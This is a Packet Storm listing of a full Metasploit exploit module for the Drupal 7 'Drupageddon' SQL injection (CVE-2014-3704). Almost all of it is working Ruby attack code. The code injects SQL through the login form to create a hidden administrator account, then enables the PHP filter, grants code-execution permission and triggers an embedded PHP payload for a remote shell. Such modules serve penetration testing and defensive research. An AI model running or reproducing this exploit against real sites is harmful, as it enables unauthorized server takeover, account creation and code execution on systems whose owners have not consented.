Lucene search

K
packetstormBrandon PerryPACKETSTORM:128741
HistoryOct 18, 2014 - 12:00 a.m.

Drupal HTTP Parameter Key/Value SQL Injection

2014-10-1800:00:00
Brandon Perry
packetstormsecurity.com
46

0.975 High

EPSS

Percentile

100.0%

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',  
'Description' => %q{  
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection  
(aka Drupageddon) in order to achieve a remote shell on the vulnerable  
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed  
in 7.32).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'SektionEins', # discovery  
'Christian Mehlmauer', # msf module  
'Brandon Perry' # msf module  
],  
'References' =>  
[  
['CVE', '2014-3704'],  
['URL', 'https://www.drupal.org/SA-CORE-2014-005'],  
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [['Drupal 7.0 - 7.31',{}]],  
'DisclosureDate' => 'Oct 15 2014',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])  
], self.class)  
  
register_advanced_options(  
[  
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),  
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])  
], self.class)  
end  
  
def uri_path  
normalize_uri(target_uri.path)  
end  
  
def admin_role  
datastore['ADMIN_ROLE']  
end  
  
def iter  
datastore['ITER']  
end  
  
def itoa64  
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'  
end  
  
# PHPs PHPASS base64 method  
def phpass_encode64(input, count)  
out = ''  
cur = 0  
while cur < count  
value = input[cur].ord  
cur += 1  
out << itoa64[value & 0x3f]  
if cur < count  
value |= input[cur].ord << 8  
end  
out << itoa64[(value >> 6) & 0x3f]  
break if cur >= count  
cur += 1  
  
if cur < count  
value |= input[cur].ord << 16  
end  
out << itoa64[(value >> 12) & 0x3f]  
break if cur >= count  
cur += 1  
out << itoa64[(value >> 18) & 0x3f]  
end  
out  
end  
  
def generate_password_hash(pass)  
# Syntax for MD5:  
# $P$ = MD5  
# one char representing the hash iterations (min 7)  
# 8 chars salt  
# MD5_raw(salt.pass) + iterations  
# MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5  
iter_char = itoa64[iter]  
salt = Rex::Text.rand_text_alpha(8)  
md5 = Rex::Text.md5_raw("#{salt}#{pass}")  
# convert iter from log2 to integer  
iter_count = 2**iter  
1.upto(iter_count) {  
md5 = Rex::Text.md5_raw("#{md5}#{pass}")  
}  
md5_base64 = phpass_encode64(md5, md5.length)  
md5_stripped = md5_base64[0...22]  
pass = "$P\\$" + iter_char + salt + md5_stripped  
vprint_debug("#{peer} - password hash: #{pass}")  
  
return pass  
end  
  
def sql_insert_user(user, pass)  
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"  
end  
  
def sql_make_user_admin(user)  
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"  
end  
  
def extract_form_ids(content)  
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/  
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/  
  
vprint_debug("#{peer} - form_build_id: #{form_build_id}")  
vprint_debug("#{peer} - form_token: #{form_token}")  
  
return form_build_id, form_token  
end  
  
def exploit  
  
# TODO: Check if option admin_role exists via admin/people/permissions/roles  
  
# call login page to extract tokens  
print_status("#{peer} - Testing page")  
res = send_request_cgi({  
'uri' => uri_path,  
'vars_get' => {  
'q' => 'user/login'  
}  
})  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
form_build_id, form_token = extract_form_ids(res.body)  
  
user = Rex::Text.rand_text_alpha(10)  
pass = Rex::Text.rand_text_alpha(10)  
  
post = {  
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),  
'name[0]' => Rex::Text.rand_text_alpha(10),  
'pass' => Rex::Text.rand_text_alpha(10),  
'form_build_id' => form_build_id,  
'form_id' => 'user_login',  
'op' => 'Log in'  
}  
  
print_status("#{peer} - Creating new user #{user}:#{pass}")  
res = send_request_cgi({  
'uri' => uri_path,  
'method' => 'POST',  
'vars_post' => post,  
'vars_get' => {  
'q' => 'user/login'  
}  
})  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
# login  
print_status("#{peer} - Logging in as #{user}:#{pass}")  
res = send_request_cgi({  
'uri' => uri_path,  
'method' => 'POST',  
'vars_post' => {  
'name' => user,  
'pass' => pass,  
'form_build_id' => form_build_id,  
'form_id' => 'user_login',  
'op' => 'Log in'  
},  
'vars_get' => {  
'q' => 'user/login'  
}  
})  
  
unless res and res.code == 302  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
cookie = res.get_cookies  
vprint_debug("#{peer} - cookie: #{cookie}")  
  
# call admin interface to extract CSRF token and enabled modules  
print_status("#{peer} - Trying to parse enabled modules")  
res = send_request_cgi({  
'uri' => uri_path,  
'vars_get' => {  
'q' => 'admin/modules'  
},  
'cookie' => cookie  
})  
  
form_build_id, form_token = extract_form_ids(res.body)  
  
enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/  
enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }  
  
unless enabled_matches  
fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")  
end  
  
post = {  
'modules[Core][php][enable]' => '1',  
'form_build_id' => form_build_id,  
'form_token' => form_token,  
'form_id' => 'system_modules',  
'op' => 'Save configuration'  
}  
  
enabled_matches.each do |match|  
post[match.captures[0]] = '1'  
end  
  
# enable PHP filter  
print_status("#{peer} - Enabling the PHP filter module")  
res = send_request_cgi({  
'uri' => uri_path,  
'method' => 'POST',  
'vars_post' => post,  
'vars_get' => {  
'q' => 'admin/modules/list/confirm'  
},  
'cookie' => cookie  
})  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
# Response: http 302, Location: http://10.211.55.50/?q=admin/modules  
  
print_status("#{peer} - Setting permissions for PHP filter module")  
  
# allow admin to use php_code  
res = send_request_cgi({  
'uri' => uri_path,  
'vars_get' => {  
'q' => 'admin/people/permissions'  
},  
'cookie' => cookie  
})  
  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
form_build_id, form_token = extract_form_ids(res.body)  
  
perm_regex = /name="(.*)" value="(.*)" checked="checked"/  
enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }  
  
unless enabled_perms  
fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")  
end  
  
# get administrator role id  
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/  
vprint_debug("#{peer} - admin role id: #{id}")  
  
unless id  
fail_with(Failure::Unknown, "Could not parse out administrator ID")  
end  
  
post = {  
"#{id}[use text format php_code]" => 'use text format php_code',  
'form_build_id' => form_build_id,  
'form_token' => form_token,  
'form_id' => 'user_admin_permissions',  
'op' => 'Save permissions'  
}  
  
enabled_perms.each do |match|  
post[match.captures[0]] = match.captures[1]  
end  
  
res = send_request_cgi({  
'uri' => uri_path,  
'method' => 'POST',  
'vars_post' => post,  
'vars_get' => {  
'q' => 'admin/people/permissions'  
},  
'cookie' => cookie  
})  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
# Add new Content page (extract csrf token)  
print_status("#{peer} - Getting tokens from create new article page")  
res = send_request_cgi({  
'uri' => uri_path,  
'vars_get' => {  
'q' => 'node/add/article'  
},  
'cookie' => cookie  
})  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
form_build_id, form_token = extract_form_ids(res.body)  
  
# Preview to trigger the payload  
data = Rex::MIME::Message.new  
data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')  
data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')  
data.add_part(form_token, nil, nil, 'form-data; name="form_token"')  
data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')  
data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')  
data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')  
data.add_part('Preview', nil, nil, 'form-data; name="op"')  
data.add_part(user, nil, nil, 'form-data; name="name"')  
data.add_part('1', nil, nil, 'form-data; name="status"')  
data.add_part('1', nil, nil, 'form-data; name="promote"')  
post_data = data.to_s  
  
print_status("#{peer} - Calling preview page. Exploit should trigger...")  
send_request_cgi(  
'method' => 'POST',  
'uri' => uri_path,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'vars_get' => {  
'q' => 'node/add/article'  
},  
'cookie' => cookie  
)  
end  
end  
`